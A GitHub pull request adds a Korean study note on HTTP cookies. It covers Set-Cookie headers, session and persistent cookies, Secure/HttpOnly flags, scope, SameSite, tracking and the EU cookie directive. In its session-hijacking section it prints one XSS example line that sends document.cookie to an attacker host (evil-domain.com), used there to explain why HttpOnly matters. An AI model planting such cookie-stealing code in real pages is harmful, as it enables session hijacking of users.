Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create Cookie #97

Merged
merged 1 commit into from
Sep 20, 2019
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
166 changes: 166 additions & 0 deletions network/cookie.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,166 @@
# Cookie(쿠키)

쿠키는 서버가 클라이언트에 전송하는 데이터 조각이다. 브라우저는 HTTP 쿠키를 저장해 놓았다가 동일한 서버에서 요청 시 저장된 데이터를 함께 전송한다.

이는 동일한 브라우저에서 들어왔는지 아닌지를 판단할 때 주로 사용한다.

많은 사이트에서 보이는 로그인 유지 기능을 구현할 때 사용이 가능하다. ( **stateless HTTP 프로토콜**에서 상태 정보를 기억시켜줌)

쿠키를 사용하는 목적 크게 3가지로 나타낼 수 있다.

1. **세션 관리 (Session management)** : 서버에 저장해야 할 로그인, 장바구니 등의 정보관리
2. **개인화 (Personalization)** : 사용자 선호, 테마를 저장
3. **트래킹 (Tracking)** : 사용자 행동을 기록하고 분석하는 용도(흔히 광고에 사용)

크롬을 기준으로 **개발자 도구 > Application > Cookies** 에서 볼 수 있다.

HTTP 요청을 수신할 때, 서버는 응답과 함께 `Set-Cookie` 헤더를 전송할 수 있다.

쿠키는 보통 브라우저에 의해 저장되며 그 후에는 같은 서버에 의해 만들어진 요청의 `Cookie HTTP` 헤더 안에 포함되어 전송된다.

**만료일, 지속시간** 설정이 가능하며, 만료되면 쿠키를 보내지 않는다.

추가로 특정 Domain, Path도 설정할 수 있으며, 이를 통해서 쿠키가 보내지는 것을 제한할 수 있다.

`Set-Cookie HTTP` 응답 헤더는 서버로부터 사용자 에이전트로 전송됩니다.

`Set-Cookie: <cookie-name>=<cookie-value>`

서버 헤더는 클라이언트에게 쿠키를 저장하라고 전달한다.

```text
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: snyung_cookie=snyung

[page content]
```

서버로 전송되는 모든 요청과 함께, 브라우저는 Cookie 헤더를 사용하여 서버로 이전에 저장했던 모든 쿠키를 보낸다.

```text
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: snyung_cookie=snyung
```

### 세션 쿠키

위에서 생성된 쿠키는 세션 쿠키이다.

위의 경우는 **Expires** 또는 **Max-Age**를 명시하지 않으면 브라우저가 종료되면서 삭제된다.

그러나 브라우저는 세션 복구를 할 수 있다. 세션 복구 기능을 사용하게 되면 브라우저가 닫히지 않았던 것처럼 세션 쿠키들을 지속해서 사용 가능한 것처럼 만든다.

### 영속적인 쿠키

클라이언트가 닫힐 때 만료되는 대신에 영속적인 쿠키는 명시된 날짜(Expires)가 되거나, 명시한 기간(Max-Age) 이후에 만료된다.

```text
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
```

### Secure과 HTTPOnly 쿠키

Secure 쿠키는 HTTPS 프로토콜 상에서 암호화된 요청일 경우에만 전송된다. Secure라도 민감한 정보를 가지고 있다면 쿠키에 저장하면 안 된다.

본질적으로 안전하지 않고 실질적인 보안을 제공하지 않기 때문이다.

**Cross-site Scripting(XSS)** 공격 방지를 위해 HttpOnly 쿠키는 Javascript의 `Document.cooke` API에 접근할 수 없다. 서버에게 전송되기만 한다.

예를 들어 서버 쪽에서 지속되고 있는 세션의 쿠키는 JavaScript를 사용할 필요성이 없기 때문에 HttpOnly 플래그가 설정될 것이다.

```text
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
```

### 쿠키의 스코프

Domain, Path 디렉티브는 쿠키의 스코프를 어떤 URL에 쿠키가 보내져야 하는지 정의한다.

Domain은 쿠키가 전송할 호스트들을 명시한다. 명시되지 않았다면, 현재 문서 위치의 호스트 일부를 기본값으로 한다. 도메인이 명시되면 서브도메인들은 항상 포함된다.

`Domain=modilla.org`라고 설정되면, 쿠키들은 `developer.mozilla.org`와 같은 서브도메인에 포함되게 된다.

Path는 Cookie 헤더를 전송하기 위하여 요청되는 URL 내에 반드시 존재해야 하는 URL 경로이다. `%x2F ("/")` 문자는 디렉티브 구분자로 해석되며 서브 디렉토리들과 잘 매치될 것이다.

`Path=/docs`라고 설정되면, 다음의 경로들도 같이 매치가 된다.

- `/docs`
- `/docs/Web/`
- `/docs/Web/HTTP`

### SAMESITE 쿠키

SAMESITE 쿠키는 쿠키가 cross-site 요청과 함께 전송되지 않게 만들어, cross-site 요청 위조 공격(CSRF)에서 보호하는 방법이다. SAMESITE 쿠키는 여전히 실험 중이며 모든 브라우저에 의해 아직 제공되지 않는다.

### document.cookie를 사용한 자바스크립트 접근

새로운 쿠키들은 `document.cookie`를 사용해서 만들 수 있으며, HttpOnly 플래그가 설정되지 않은 경우 기본쿠키들은 자바스크립트로부터 잘 접근될 수 있다.

```js
document.cookie = "snyung_cookie=snyung";

console.log(document.cookie);
// logs "snyung_cookie=snyung; "
```

자바스크립트에서 이용 가능한 쿠키들은 XSS를 통해 감청될 수 있다.

## 보안

기밀, 민감한 정보는 전체 메커니즘을 본질적으로 위험하게 만들기 때문에 HTTP 쿠키 내에 저장되거나 전송되면 안 된다.

### 세션 하이재킹과 XSS

쿠키는 웹 애플리케이션에서 사용자와 그들의 인증된 세션을 식별하기 위해 사용되고 있다.

쿠키를 가로채는 것은 인증된 사용자의 세션 하이재킹으로 이어질 수 있다.

쿠키를 가로채는 일반적인 방법은 소셜네트워크, 애플리케이션 내 XSS 취약점을 이용하는 것을 포함한다.

```js
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
```

HttpOnly 쿠키 속성은 자바스크립트를 통해 쿠키값에 접근하는 것을 막아 공격이 안 일어나도록 도움을 준다.

### Cross-Site 요청 위조(CSRF)

은행 계좌에 로그인하고 당신의 쿠키가 여전히 유효하다면, 해당 이미지를 포함하고 있는 HTML을 로드하자마자 돈이 송금될 것입니다. 이런 일들이 벌어지는 것을 방지하기 위한 몇 가지 기술이 있다.

- [XSS](https://developer.mozilla.org/ko/docs/Glossary/XSS)와 마찬가지로, 입력 필터링은 중요한 문제이다.
- 모든 민감한 동작에 필수로 요구되는 확인 절차가 항상 수행되도록 한다.
- 민감한 동작에 사용되는 쿠키는 짧은 수명만 갖도록 한다.

## 트래킹과 프라이버시

### 서드파티 쿠키

쿠키는 그와 관련된 도메인을 가진다. 이 도메인이 당신이 현재 보고 있는 페이지의 도메인과 동일하다면, 그 쿠키는 퍼스트파티 쿠키라고 불린다. 만약 도메인이 다르다면, 서드파티 쿠키라고 불린다. 퍼스트파티 쿠키가 그것을 설정한 서버에만 전송되는 데 반해, 웹 페이지는 다른 도메인의 서버상에 저장된 이미지 혹은 컴포넌트를 포함할 수 있다.

서드파티 컴포넌트를 통해 전송되는 쿠키들을 서드파티 쿠키라고 부르며 웹을 통해 공과와 트래킹에 주로 사용된다.

대부분의 브라우저은 기본적으로 서드파티 쿠키를 따르지만, 그것을 차단하는데 이용되는 애드온들이 있다.

서드파티 쿠키를 공개하고 있지 않다면, 쿠키 사용이 밝혀질 경우 소비자 신뢰를 잃을 수 도 있다.

명백한 공개는 쿠키 발견과 관련된 모든 부정적인 효과를 없애는 경향이 있다. 어떤 국가들은 쿠키에 관한 법률도 가지고 있다.

### Do-Not-Track

쿠키 사용에 대한 합법적이거나 기술적인 요구사항은 없지만, DNT 헤더는 웹 애플리케이션이 트래킹 혹은 개인 사용자의 croos-site 사용자 트래킹 모두를 비활성화하는 신호로 사용될 수 있다. 좀 더 자세한 내용은 DNT 헤더를 참고하면 된다.

### EU 쿠키 디렉티브

EU 전역의 쿠키에 대한 요구사항은 유럽 의회의 **Directive 2009/136/EC** 에 정의되어 있으며 2011년 5월 25일에 발효되었다. 디렉티브는 그 자체로 법은 아니지만, 디렉티브의 요구사항을 만족시키는 법을 제정하려는 EU 회원국들을 위한 요구사항이다.

실제 법들은 국가마다 다를 수 있다.

EU 디렉티브는 컴퓨터, 모바일 폰 혹은 다른 기기들에서 누군가가 어떤 정보든지 저장하거나 검색하기 전에, 사용자는 그렇게 하기 위해 사전 동의해야만 한다는 내용입니다. 많은 웹 사이트들은 사용자가에게 쿠키 사용에 대한 내용을 알려준 뒤에 배너들을 추가할 수 있습니다.

### 좀비 쿠키와 EverCookie

쿠키에 대한 좀 더 급진적인 해결책은 삭제 이후에 다시 생성되는 좀비 쿠키 혹은 "Evercookies"며 의도적으로 영원히 제거하는 것이 어려운 쿠키입니다. 그들은 쿠키가 존재 여부와 관계없이 그들 자신을 다시 만들어내기 위해

[웹 스토리지 API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API), Flash 로컬 공유 객체 그리고 다른 기술들을 사용하고 있다.